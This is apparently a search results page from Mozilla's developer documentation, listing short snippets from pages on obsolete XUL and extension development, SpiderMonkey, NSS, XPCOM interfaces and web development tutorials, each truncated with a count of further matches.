... arequest, aflag, astatus) { // if you use mylistener for more than one tab/window, use // awebprogress.domwindow to obtain the tab/window which triggers the state change if (aflag & state_start) { // this fires when the load event is initiated } if (aflag & state_stop) { // this fires when the load finishes } }, onlocationchange: function(aprogress, arequest, auri) { // this fires when the location bar changes; that is load event is confirmed // or when the user switches tabs.
...And 12 more matches
Extension Etiquette - Archive of obsolete content
ideally, the location would be below the add-ons item, grouped with the other extension-related commands (menuitem:insertafter="javascriptconsole,devtoolsseparator").
...if possible, create a menu item in the menu where it is most applicable; for instance, a bookmark sharing extension should be called from the bookmarks menu.
... other ui elements in general, toolbar items are very useful to end users because they can be removed or added to various toolbars as necessary.
...And 12 more matches
Mozilla Documentation Roadmap - Archive of obsolete content
there's a great deal of free online documentation available on xul and extension development, but finding it and turning it into useful information can be a daunting task.
... knowing where to look is critical and non trivial.
...xulplanet allowed you to navigate between interfaces and their related components, which makes locating components very easy.
...And 12 more matches
Session store API - Archive of obsolete content
one key scenario in which supporting this feature can be crucial for an extension: firefox 2 lets users undo the closing of tabs.
... in order to properly restore your extension's state when a tab is restored, it needs to use the session store api's settabvalue() method to save any data it will need in order to restore its state, and then call gettabvalue() to retrieve the previous setting when the tab is restored.
...if your extension wants to be able to restore data when tabs are restored, you can install a listener like this: function myextensionhandlerestore(aevent) { var tab = event.originaltarget; /* the tab being restored */ var uri = tab.linkedbrowser.contentdocument.location; /* the tab's uri */ components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice) .logstringmessage("restoring tab: " + uri); }; document.addeventlistener("sstabrestoring", myextensionhandlerestore, false); simply replace the contents of the function myexte...
...And 12 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
while this is generally considered acceptable behavior, considerable care must be taken to avoid violating the mozilla add-on guidelines or creating an adverse user experience.
...in particular, changing the location bar search keyword url in a way which is not automatically reset when the add-on is removed will result in a reset prompt for users.
...the most technically sound method of achieving this, and the only acceptable way of changing preferences such that they are automatically restored on add-on uninstall, is to make such changes in the default preference branch, as explained below.
...And 12 more matches
Add-ons - Archive of obsolete content
add-on sdk using the add-on sdk, you can create firefox add-ons.
... you can use various standard web technologies: javascript, html, and css, to create the add-ons.
... the sdk includes javascript apis, which you can use to create add-ons and tools for creating, running, testing, and packaging add-ons.
...And 12 more matches
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
extract theme while you can hypothetically begin with any theme already designed for firefox, for the sake of consistency we'll speak as though everyone is editing the default firefox theme.
... this is located in the file classic.jar found in the firefox installation directory.
...opening the .jar files in your archive manager of choice should result in the file being automatically detected as being a zip archive.
...And 12 more matches
Java in Firefox Extensions - Archive of obsolete content
if you are in need of calling java code from within a firefox extension, you can make use of liveconnect.
... liveconnect gives your extension's javascript code (linked from or contained in xul code) access to 2 objects: java and packages (note that per this thread, although the new documentation for the liveconnect reimplementation states that these globals will be deprecated (in the context of applets), "firefox and the java plug-in will continue to support the global java/packages keywords, in particular in the context of firefox extensions.").
... these 2 objects let you make use of the standard jdk classes, e.g., var ajavalist = new java.util.linkedlist(); if you want to load your own jars, then you can create your own java class loader.
...And 12 more matches
File object - Archive of obsolete content
if you are building a standalone version of spidermonkey (see: spidermonkey build documentation), this variable can be added on the make command line, like so: cd mozilla/js/src make -f makefile.ref js_has_file_object=1 alternatively, if you are building a larger product (such as a browser) and want to include the file object, you may need to perform minor makefile surgery.
... summary non-standard server-side object this object lets you work files and directories on the local filesystem, and create os pipelines.
...pipelines are implemented with the popen() system call.
...And 12 more matches
The life of an HTML HTTP request - Archive of obsolete content
(1) the loading of the url is started in nswebshell::doloadurl (called from some loadurl or loaduri variant in the webshell).
...[note: passes nswebshell.mobserver as nsistreamobserver and the webshell as nsicontentviewercontainer to the docloader.] (2) the document loader calls ns_openuri with the url to begin transfering the requested file.
... necko (the network library) checks the url scheme (the first part of the url, http: in this case) and locates the correct nsiprotocolhandler (in this case nshttphandler) and asks it for a nsichannel (nshttpchannel).
...And 12 more matches
Working With Directories - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
...you can access a subdirectory by supplying a directory name as the second argument, or refer to one of the special directories by supplying a null string for the second argument.
...for instance: var dir2 = io.getfile("desktop", "myfiles"); dir2.append("pictures"); dir2.append("vacations"); in this example, a subdirectory several levels down is referenced.
...And 12 more matches
Using Recursive Templates - Archive of obsolete content
« previousnext » you may recall that templates generate content recursively.
...for example, using this xml datasource: <people> <group name="male"> <person name="napoleon bonaparte"/> <person name="julius caesar"/> <person name="ferdinand magellan"/> </group> <group name="female"> <person name="cleopatra"/> <person name="laura secord"/> </group> </people> we could display this data in a flat list by using the right query: <query expr="group/person/"> or, we could display one level for the two groups, and use another level for each person.
...as each group has children itself, each result (in this case, each group) becomes the reference point for a futher iteration.
...And 12 more matches
Creating Dialogs - Archive of obsolete content
« previousnext » a xul application will often require dialogs to be displayed.
...these differences will vary depending on the platform the application is running on.
... in addition, the opendialog() function can take additional arguments beyond the first three.
...And 12 more matches
Tabboxes - Archive of obsolete content
tabboxes tabboxes are typically used in an application in the preferences window.
...the user can click each tab to see a different set of options.
... it is useful in cases when you have more options than will fit in one screen.
...And 12 more matches
Tree Selection - Archive of obsolete content
the tree provides a number of functions which can be used to determine whether an item is selected.
... handling the select event first, let's see how we can determine when an item is selected.
...when the user selects an item from the tree, the event handler is called.
...And 12 more matches
XML - Archive of obsolete content
using a combination of xul's ready-made widgets (e.g., menubar, scrollbar, progressmeter, and so on) and xul's incorporation of such standards as html4, dom1/2, and cascading stylesheets, you can design any interface that you can imagine, using any number of different features, tools, and methodologies.
...you must be very careful about your syntax, and in particular about these four cardinal rules of xul: all events and attributes must be written in lowercase.
... unlike html, xul is very sensitive to case.
...And 12 more matches
XUL Coding Style Guidelines - Archive of obsolete content
to make xul files easy to read and maintain, localization friendly, and portable across user agents, we need to have a set of coding style guidelines to ensure our objectives are achievable.
...disobeying them might not cause any parsing error for now, however, it might cause future maintenance headache: convert html files to xul files.
...case sensitivity.
...And 12 more matches
menulist - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element that can be used for drop-down choice lists.
... start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales.
...And 12 more matches
preference - Archive of obsolete content
you can connect a user interface element such as a checkbox to a preference element using the user interface element's preference attribute.
... attributes disabled type: boolean indicates whether the element is disabled or not.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...And 12 more matches
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
overview recent versions of mozilla include an extension for writing plugins that use xembed instead of using the old xt-based mainloop that most plugins have been using since the netscape 3.x days.
... the use of the xt mainloop has been a problem for modern plugin development because very few modern applications that want to take advantage of the capabilities of newer toolkits use xt.
... also, when included with builds of mozilla that are based on gtk 1.2 or gtk 2.x, the xt code that hosts the plugins is at best hacky and has been the source for many minor problems including inconsistent focus behavior as well as occasional crashes.
...And 12 more matches
Developing cross-browser and cross-platform pages - Archive of obsolete content
an important practice when doing cross-browser, cross-platform pages and dhtml development involves the ability to determine the capabilities of the browser which loads your web page.
...there are 2 known approaches for such goals: the browser identification approach (also known as useragent string detection and often referred as "browser sniffing") and the object/feature support detection approach.
... the browser identification approach is now known to be complicated, unreliable and difficult to maintain.
...And 12 more matches
Examples - Archive of obsolete content
you can get the contents of style.css at the bottom of this page.
...--> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 1 - &lt; in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <script type="text/javascript"> var i = 0; while (++i > 10) { // ...
... </p> </body> </html> back to the article problem 2 <!-- this file should have a .xhtml extension --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 2 - comments in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <style type="text/css"> <!-- body {background-color: blue; color: yellow; } --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> </head> <body> <h1>problem 2 - comments in xhtml</h1> <p> this document is valid x...
...And 12 more matches
Troubleshooting XForms Forms - Archive of obsolete content
introduction the idea of this page is to collect some solutions to some of the common errors typically made when creating an xforms form.
...it is not perfect, but it can spot a lot of errors.
...the type field should say application/xhtml+xml.
...And 12 more matches
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
this article applies to mozilla versions 0.9.2 and higher and netscape versions 6.1 and higher.
... it does not cover netscape 6 and 6.01 introduction plugins that used to take advantage of being scriptable via liveconnect in 4.x netscape browsers lost this possibility in the new world.
...the new mozilla xpcom architecture allows xpcom components be scriptable via a different mechanism called xpconnect.
...And 12 more matches
Move the ball - Game development
« previousnext » this is the 2nd step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson2.html.
...technically, we will be painting the ball on the screen, clearing it and then painting it again in a slightly different position every frame to make the impression of movement — just like how movement works with the movies.
...And 12 more matches
Paddle and keyboard controls - Game development
« previousnext » this is the 4th step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson4.html.
... the ball is bouncing off the walls freely and you can watch it indefinitely, but currently there's no interactivity.
...And 12 more matches
Assessment: Accessibility troubleshooting - Learn web development
decompress the contents into a new directory somewhere on your local computer.
... the finished assessment site should look like so: you will see some differences/issues with the display of the starting state of the assessment — this is mainly due to the differences in the markup, which in turn cause some styling issues as the css is not applied properly.
... color the text is difficult to read because of the current color scheme.
...And 12 more matches
What is the difference between webpage, website, web server, and search engine? - Learn web development
we'll cover these terms and technologies in more detail as we explore further, but these quick definitions will be a great start for you: web page a document which can be displayed in a web browser such as firefox, google chrome, opera, microsoft internet explorer or edge, or apple's safari.
... these are also often called just "pages." website a collection of web pages which are grouped together and usually connected together in various ways.
... often called a "web site" or simply a "site." web server a computer that hosts a website on the internet.
...And 12 more matches
How do I use GitHub Pages? - Learn web development
you can then collaborate on code projects, and the system is open-source by default, meaning that anyone in the world can find your github code, use it, learn from it, and improve on it.
... you can do that with other people's code too!
...github has a very useful feature called github pages, which allows you to publish website code live on the web.
...And 12 more matches
Test your skills: Advanced styling - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...this is due to native os styling being used in some cases.
... how can you remove this native styling?
...And 12 more matches
Your first form - Learn web development
objective: to gain familiarity with what web forms are, what they are used for, how to think about designing them, and the basic html elements you'll need for simple cases.
... web forms are one of the main points of interaction between a user and a web site or application.
... a web form's html is made up of one or more form controls (sometimes called widgets), plus some additional elements to help structure the overall form — they are often referred to as html forms.
...And 12 more matches
How the Web works - Learn web development
clients and servers computers connected to the web are called clients and servers.
... a simplified diagram of how they interact might look like this: clients are the typical web user's internet-connected devices (for example, your computer connected to your wi-fi, or your phone connected to your mobile network) and web-accessing software available on those devices (usually a web browser like firefox or chrome).
...it's basically like the street between your house and the shop.
...And 12 more matches
The "why" of web performance - Learn web development
at its worst, bad performance causes content to be completely inaccessible.
...while an individual's perception of site performance performance is subjective, loading and rendering can be measured.
...that is why we care.
...And 12 more matches
Routing in Ember - Learn web development
typically, when writing web applications, you want the page to be represented by the url so that if (for any reason), the page needs to refresh, the user isn't surprised by the state of the web app — they can link directly to significant views of the app.
... an ember application has a default "application" route, which is tied to the app/templates/application.hbs template.
... because that application template is the entry point to our todo app, we'll need to make some changes to allow for routing.
...And 12 more matches
Styling Vue components with CSS - Learn web development
styling with external css files you can include external css files and apply them globally to your app.
... to start with, create a file called reset.css in the src/assets directory.
...this means we can use css pre-processors (like scss) or post-processors (like postcss).
...And 12 more matches
Contributing to the Mozilla code base
if you have any difficulties getting involved or finding answers to your questions, please come and ask your questions in our chatroom, where we can help you get started.
... we know even before you start contributing that getting set up to work on firefox and finding a bug that's a good fit for your skills can be a challenge.
...if you're having any trouble following this documentation, or hit a barrier you can't get around, please contact mike hoye at mhoye@mozilla.com.
...And 12 more matches
Script security
like any web browser, gecko can load javascript from untrusted and potentially hostile web pages and run it on the user's computer.
...if the code is compromised, the attacker can take over the user's computer.
... having the browser front end in javascript has benefits: it can be much quicker to develop in javascript than in c++, and contributors do not need to learn c++.
...And 12 more matches
How to get a stacktrace for a bug report
if you file a bug report in bugzilla about a crash you should include a stacktrace (call stack) in your report.
... a stacktrace will tell mozilla developers what crashed and provide a starting point for investigating its cause.
... this article describes how to use the mozilla crash reporter (breakpad) to get a crash id, which our engineers can use to get a stacktrace, and alternative ways to get a stacktrace if you can't get a crash id.
...And 12 more matches
Setting up the infrastructure
first, make your project's file type decision (see localization formats for details): html/php .lang gettext (.po) assuming you chose gettext, you'll need to follow the steps below to set up the infrastructure for localizing your web application.
... create a locale directory in your website (usually something like docroot/locale).
... copy the shell scripts from /addons/trunk/site/app/locale/ to your locale directory: extract-po.sh will be used to extract all english strings from your application's directories specified in source_dirs, merge the resulting template (*.pot) file with the existing (already containing translations) messages.po files for each locale (if they exist) and merge the new messages.po files to messages.mo files.
...And 12 more matches
GC and CC logs
garbage collector logs and cycle collector logs can be analyzed in various ways.
... in particular, cc logs can be used to understand why the cycle collector is keeping an object alive.
... these logs can either be manually or automatically generated, and they can be generated in both debug and non-debug builds.
...And 12 more matches
JS::PerfMeasurement
it is a stopwatch profiler -- that is, it counts events that occur while code of interest is running; it does not do call traces or sampling.
... the current implementation can measure eleven different types of low-level hardware and software events: events that can be measured bitmask passed to constructor counter variable what it measures perfmeasurement::cpu_cycles .cpu_cycles raw cpu clock cycles ::instructions .instructions total instructions executed ::cache_references .cache_references total number of memory accesses ::cache_misses .cache_misses memory accesses that missed the cache ::branch_instructions .branch_instructions branch instructions executed ::branch_misses .branch_misses branch instructions that were not predicted correctly ::bus_cycles .bus_cycles total memory bus cycles ::p...
...at required disk access ::context_switches .context_switches context switches involving the profiled thread ::cpu_migrations .cpu_migrations migrations of the profiled thread from one cpu core to another these events map directly to "generic events" in the linux 2.6.31+ <linux/perf_event.h> interface, and so unfortunately are a little vague in their specification; for instance, we can't tell you exactly which level of cache you get misses for if you measure cache_misses.
...And 12 more matches
Phishing: a short definition
past and current countermeasures various technical, and social approaches, exist to combat phishing attacks.
... shifting blame to users some quick-to-implement, and cost-effective solutions, hold users accountable for their actions instead of restricting what’s technically possible.
... earlier responses by affected banks, and payment providers, was to attempt educating users to not click links in emails, along with requesting to verify email legitimacy through checking for relevant personal information.
...And 12 more matches
L20n
a javascript localization framework to unleash your natural language's power with simple code.
... introducing l20n l20n reinvents software localization.
... through l20n, mozilla is creating a new generation of technology that places more power in localizers' hands.
...And 12 more matches
McCoy
mozilla calls mccoy a "simple system" which is a clear sign that something probably is not working, and indeed, is not.
... mccoy is an application that allows add-on authors to provide secure updates to their users.
... applications periodically look for and install updates to their add-ons.
...And 12 more matches
NSS 3.12.5 release_notes
you can check out the source from cvs by cvs co -r nspr_4_8_rtm nspr cvs co -r nss_3_12_5_rtm nss see the documentation section for the build instructions.
...this will cause programs that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until such time as a new safe renegotiation scheme is standardized by the ietf.
... if an application depends on renegotiation feature, it can be enabled by setting the environment variable nss_ssl_enable_renegotiation to 1.
...And 12 more matches
ssltyp.html
types and structures managing secitem memory types and structures these types and structures are described here: certcertdbhandle certcertificate pk11slotinfo secitem seckeyprivatekey secstatus additional types used by a single function only are described with the function's entry in each chapter.
...<a name="> many of the structures presented here (certcertdbhandle, certcertificate, pk11slotinfo, and seckeyprivatekey) are opaque--that is, they are types defined as structures (for example, certcertdbhandlestr) that may change in future releases of network security services.
... certcertdbhandle an opaque handle structure for open certificate databases.
...And 12 more matches
Rhino Debugger
the rhino javascript debugger can debug scripts running in multiple threads and provides facilities to set and clear breakpoints, control execution, view variables, and evaluate arbitrary javascript code in the current scope of an executing script.
...this action will display a file-selection dialog box prompting you for the location of a script to load.
...this action will display a file-selection dialog box prompting you for the location of a script to execute.
...And 12 more matches
SpiderMonkey Internals: Thread Safety
see js_threadsafe for a gentler introduction to using spidermonkey in a multi-threaded application.
...a program typically has only one jsruntime, even if it has many threads.
...they can't travel to other jscompartments.
...And 12 more matches
JSClass.flags
the jsclass.flags field allows an application to enable optional jsclass features on a per-class basis.
...its value is the logical or of zero or more of the following constants: flag meaning jsclass_has_private this class uses private data.
...the field can be accessed using js_getprivate and js_setprivate.
...And 12 more matches
JS_ConvertArguments
syntax bool js_convertarguments(jscontext *cx, const js::callargs &args, const char *format, ...); // added in spidermonkey 31 bool js_convertarguments(jscontext *cx, unsigned argc, jsval *argv, const char *format, ...); // obsolete since jsapi 30 name type description cx jscontext * the context in which to perform any necessary conversions.
... cx also affects the interpretation of format, if js_addargumentformatter has been called.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...And 12 more matches
JS_malloc
allocate and free memory that is not managed by the garbage collector.
...if allocation fails, an error is reported in this context.
... p void * (js_realloc and js_free only) pointer to a previously allocated region of memory to resize or deallocate.
...And 12 more matches
SpiderMonkey 38
compiling it requires a c++ compiler, and the jsapi can only be used from c++ code.
... spidermonkey 38 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase.
... this entailed changing the vast majority of the jsapi from raw types, such as js::value or js::value*, to js::handle and js::mutablehandle template types that encapsulate access to the provided value/string/object or its location.
...And 12 more matches
Running Automated JavaScript Tests
there are two test suites, affectionately called "jstests" and "jit-tests".
... sometimes jstests are called js reftests because of how they are run in the browser.
... both sets of tests can be used from a normal build of the js shell.
...And 12 more matches
Using the Places annotation service
most methods in the service are duplicated with one method labeled as a 'page annotation' taking an nsiuri and the others labeled as an 'item annotation' and taking the id of an item in the places database.
... which one to use is usually dictated by the application.
...you can use the annotations service's hasannotation method to determine in advance if the page has the requested annotation.
...And 12 more matches
IAccessibleTable2
if you want to support older applications you should also support the iaccessibletable interface.
... method overview [propget] hresult caption([out] iunknown accessible ); [propget] hresult cellat([in] long row, [in] long column, [out] iunknown cell ); [propget] hresult columndescription([in] long column, [out] bstr description ); [propget] hresult iscolumnselected([in] long column, [out] boolean isselected ); [propget] hresult isrowselected([in] long row, [out] boolean isselected ); [propget] hresult modelchange([out] ia2tablemodelchange modelchange ); [propget] hresult ncolumns([out] long columncount ); [propget] hresult nrows([out] long rowcount ); [propget] hresult nselectedcells([out] long cellcount ); [propget] hresult nselectedcolumns([out] long columncount ); [propget] hresult nselectedrows([out] long rowcount ); [propget] hresult rowdescription([in] long r...
...lls ); [propget] hresult selectedcolumns([out, size_is(, ncolumns)] long selectedcolumns, [out] long ncolumns ); [propget] hresult selectedrows([out, size_is(, nrows)] long selectedrows, [out] long nrows ); hresult selectrow([in] long row ); [propget] hresult summary([out] iunknown accessible ); hresult unselectcolumn([in] long column ); hresult unselectrow([in] long row ); methods caption() returns the caption for the table.
...And 12 more matches
nsIBrowserSearchService
if you need to write code that is executed during startup and makes use of nsibrowsersearchservice, you should make sure that this code is executed from the callback to init().
... method overview void addengine(in astring engineurl, in long datatype, in astring iconurl, in boolean confirm, [optional] in nsisearchinstallcallback callback); void addenginewithdetails(in astring name, in astring iconurl, in astring alias, in astring description, in astring method, in astring url); void getdefaultengines([optional] out unsigned long enginecount, [retval, array, size_is(enginecount)] out nsisearchengine engines); nsisearchengine getenginebyalias(in astring alias); nsisearchengine getenginebyname(in astring aenginename); void getengines([optional] out unsigned long enginecount, [retval, array, size_is(enginecount)] out nsisearchengine engines); void getvisibleengi...
...if a confirmation dialog is shown, it will offer the option to begin using the newly added engine right away; if no confirmation dialog is shown, the new engine will be used right away automatically.
...And 12 more matches
nsIDNSService
method overview nsicancelable asyncresolve(in autf8string ahostname, in unsigned long aflags, in nsidnslistener alistener, in nsieventtarget alistenertarget); void init(); obsolete since gecko 1.8 nsidnsrecord resolve(in autf8string ahostname, in unsigned long aflags); void shutdown(); obsolete since gecko 1.8 attributes attribute type description myhostname ...
... constant value description resolve_bypass_cache (1 << 0) this flag suppresses the internal dns lookup cache.
... resolve_canonical_name (1 << 1) the canonical name of the specified host will be queried.
...And 12 more matches
nsIDOMWindowInternal
66 introduced gecko 1.0 deprecated gecko 8.0 inherits from: nsidomwindow last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) in gecko 8.0 this interface was merged into the nsidomwindow interface.
... note: because most of nsidomwindowinternal's functions and attributes are well documented in window, those articles are linked to rather than re-documented.
...if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">open(in domstring url, in domstring name, in domstring options) nsidomwindow nsisupports aextraargument) void close() void updatecommands(in domstring action) boolean find([optional] in domstring str,[optional] in boolean casesensitive, [optional] in boolean backwards, [optional] in boolean wraparound, [optional] in boolean wholeword, [optional] in boolean searchinframes, [optional] in boolean showdialog) domstring atob(in domstring aasciistring) domstring btoa(in domstring abase64data) nsivariant showmodaldialog(in nsivariant aargs, [optional] in domstring aoptions) void postmessa...
...And 12 more matches
nsIExternalProtocolService
uriloader/exthandler/nsiexternalprotocolservice.idlscriptable the external protocol service is used for finding and launching web handlers (a la registerprotocolhandler in the html5 draft) or platform-specific applications for handling particular protocols.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) you can ask the external protocol service if it has an external handler for a given protocol scheme.
... and you can ask it to load the url using the default handler.
...And 12 more matches
nsILoginManager
note: this method is provided for use only by the formfillcontroller, which calls it directly.
...called when only the number of logins is needed, and not the actual logins (which avoids prompting the user for a master password, as the logins don't need to be decrypted).
...a value of null will cause countlogins() to not match any logins.
...And 12 more matches
nsIMessenger
method overview void setdisplaycharset(in acstring acharset); void setwindow(in nsidomwindow ptr, in nsimsgwindow msgwindow); void openurl(in acstring aurl); void loadurl(in nsidomwindow ptr, in acstring aurl); void launchexternalurl(in acstring aurl); boolean canundo(); boolean canredo(); unsigned long getundotransactiontype(); unsigned long getredotransactiontype(); void undo(in nsimsgwindow msgwindow); void redo(in nsimsgwindow msgwindow); void sendunsentmessages(in nsimsgidentity aidentity, in nsimsgwindow amsgwindow); void setdocumentcharset(in acstring characterset); void saveas...
...euri, in boolean savefirst, [optional] in boolean withoutwarning); void detachallattachments(in unsigned long count, [array, size_is(count)] in string contenttypearray, [array, size_is(count)] in string urlarray, [array, size_is(count)] in string displaynamearray, [array, size_is(count)] in string messageuriarray, in boolean savefirst, [optional] in boolean withoutwarning); nsilocalfile saveattachmenttofolder(in acstring contenttype, in acstring url, in acstring displayname, in acstring messageuri, in nsilocalfile adestfolder); nsimsgmessageservice messageservicefromuri(in acstring auri); nsimsgdbhdr msghdrfromuri(in acstring auri); acstring getmsguriatnavigatepos(in long apos); acstring getfolderuriatnavigatepos(in long apos); v...
... sendingunsentmsgs boolean indicates if sending messages is in progress.
...And 12 more matches
nsIMsgHeaderParser
void parseheaderswitharray(in wstring aline, [array, size_is(count)] out wstring aemailaddresses, [array, size_is(count)] out wstring anames, [array, size_is(count)] out wstring afullnames, [retval] out unsigned long count); void reformatheaderaddresses(in string line, out string reformattedaddress); wstring reformatunquotedaddresses(in wstring line); void removeduplicateaddresses(in string addrs, in string other_addrs, in prbool removealiasestome, out string newaddress); string unquotephraseoraddr(in string line, in boolean preserveintegrity); wstring unquotephraseoraddrwstring(in wstring line, in boolean preserveintegrity); methods extractheaderaddressmailboxes() given a string which contains a list of header addresses, returns a com...
... return value the first name found in the list exceptions thrown missing exception missing description makefulladdress() given an e-mail address and a person's name, concatenates them together into a single string, doing all the necessary quoting.
... it is up to the caller to free them.
...And 12 more matches
nsIMsgMessageService
e, out nsiuri aurl); void openattachment(in string acontenttype, in string afilename, in string aurl, in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener); void savemessagetodisk(in string amessageuri, in nsifilespec afile, in boolean ageneratedummyenvelope, in nsiurllistener aurllistener, out nsiuri aurl, in boolean canonicallineending, in nsimsgwindow amsgwindow); void geturlforuri(in string amessageuri, out nsiuri aurl, in nsimsgwindow amsgwindow); void displaymessageforprinting(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, out nsiuri aurl); void search(in nsimsgsearchsession asearchsession, in nsimsgwindow amsgwi...
...ndow, in nsimsgfolder amsgfolder, in string asearchuri); nsiuri streammessage(in string amessageuri, in nsisupports aconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, in boolean aconvertdata, in string aadditionalheader); nsiuri streamheaders(in string amessageuri, in nsistreamlistener aconsumer, in nsiurllistener aurllistener [optional] in boolean alocalonly); boolean ismsginmemcache(in nsiuri aurl, in nsimsgfolder afolder, out nsicacheentrydescriptor acacheentry); nsimsgdbhdr messageuritomsghdr(in string uri); methods copymessage() pass in the uri for the message you want to have copied.
... void savemessagetodisk(in string amessageuri, in nsifilespec afile, in boolean ageneratedummyenvelope, in nsiurllistener aurllistener, out nsiuri aurl, in boolean canonicallineending, in nsimsgwindow amsgwindow); parameters amessageuri url representing the message to spool out to disk.
...And 12 more matches
nsIScriptableInputStream
note: this method should not be used to determine the total size of a stream, even if the stream corresponds to a local file.
... moreover, since a stream may make available more than 2^32 bytes of data, this method is incapable of expressing the entire size of the underlying data source.
...exceptions thrown ns_base_stream_closed if called after the stream has been closed.
...And 12 more matches
nsIURL
directory/filebasename.fileextension#ref http://host/directory/filebasename.fileextension;param \ \ / \ ----------------------- \ | / \ filename / ---------------------------- | filepath you can get a nsiurl from an nsiuri, using the queryinterface() method: var myuri = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice) .newuri("http://developer.mozilla.org", null, null); try { var myurl = myuri.queryinterface(components.interfaces.nsiurl); } catch(e) { // the uri is not an url } or usi...
...but you can get just the leading directory portion for sure.
... some characters may be escaped.
...And 12 more matches
Creating a gloda message query
this content covers features introduced in thunderbird 3 this page describes how to programmatically create a message query using gloda, thunderbird's global database.
...you can find the file, which includes doxygen markup of sorts, here: https://hg.mozilla.org/comm-central/file/tip/mailnews/db/gloda/modules/gloda.js components.utils.import("resource:///modules/gloda/public.js"); create the query let query = gloda.newquery(gloda.noun_message); add constraints to the query each constraint function takes one or more arguments which are "or"ed together.
...an identity is involved if the message was to them, from them, or carbon-copied to them.
...And 12 more matches
Using the Mozilla symbol server
the server functions like microsoft's symbol server so the documentation there can be useful.
... note that because mozilla release builds are heavily optimized, debugging is not always easy.
... the debugger will not be able to show you the content of all variables and the execution path can seem strange because of inlining, tail calls, and other compiler optimizations.
...And 12 more matches
Declaring types
every type is represented by a ctype object, which, in turn, provides a constructor method you can call to define values of those types.
...you can define values of these types without declaring new types.
... for example, to define a new 32-bit integer variable with the value 5: var i = ctypes.int32_t(5); you can then pass a pointer to this value to a c function that requires a pointer to a 32-bit integer, like this: some_c_function(i.address()); declaring new primitive types there are times when you want to create new types that are simply new names for existing primitive types.
...And 12 more matches
Working with ArrayBuffers
this feature is based on the following work: //github.com/realityripple/uxp/blob/master/js/src/ctypes/ctypes.cpp#3080 //github.com/realityripple/uxp/blob/master/js/src/vm/arraybufferobject.cpp#1301 example 1 - image data the following example illustrates how to transfer a byte array pointed by ctypes.uint8_t.ptr to imagedata of canvas.
... this example is based on the fact that the imagedata returned from canvasrenderingcontext2d.getimagedata is a uint8clampedarray view for an arraybuffer.
... the following codeblock provides a basic example of getting and setting uint8clampedarray and arraybuffer of imagedata: // context is a canvasrenderingcontext2d of some canvas var imagedata = context.getimagedata(x, y, w, h); var array = imagedata.data; // array is a uint8clampedarray var buffer = imagedata.data.buffer; // buffer is a arraybuffer // incomingbuffer is a typedarray var imagedata2 = context.createimagedata(w, h); imagedata2.data.set(incomingbuffer); further, if you have a byte array pixelbuffer, and you need to create imagedata from it.
...And 12 more matches
Gecko Plugin API Reference - Plugins
plug-in basics how plug-ins are used plug-ins and helper applications how plug-ins work understanding the runtime model plug-in detection how gecko finds plug-ins checking plug-ins by mime type overview of plug-in structure understanding the plug-in api plug-ins and platform independence windowed and windowless plug-ins the default plug-in using html to display plug-ins plug-in display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x dra...
...wing a plug-in instance handling memory sending and receiving streams working with urls getting version and ui information displaying messages on the status line making plug-ins scriptable building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows registry initialization and destruction initialization instance creation instance destruction shutdown initialize and shutdown example drawing and event handling the npwindow structure drawing plug-ins printing the plug-in setting the window getting information windowed plug-ins mac os windows unix event handlin...
...that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http server uploading files to an ftp server ...
...And 12 more matches
FileException - Web APIs
basic concepts synchronous apis do not have error callbacks, which makes it difficult to catch errors.
...to simplify things a bit, wrap your worker code in a try/catch.
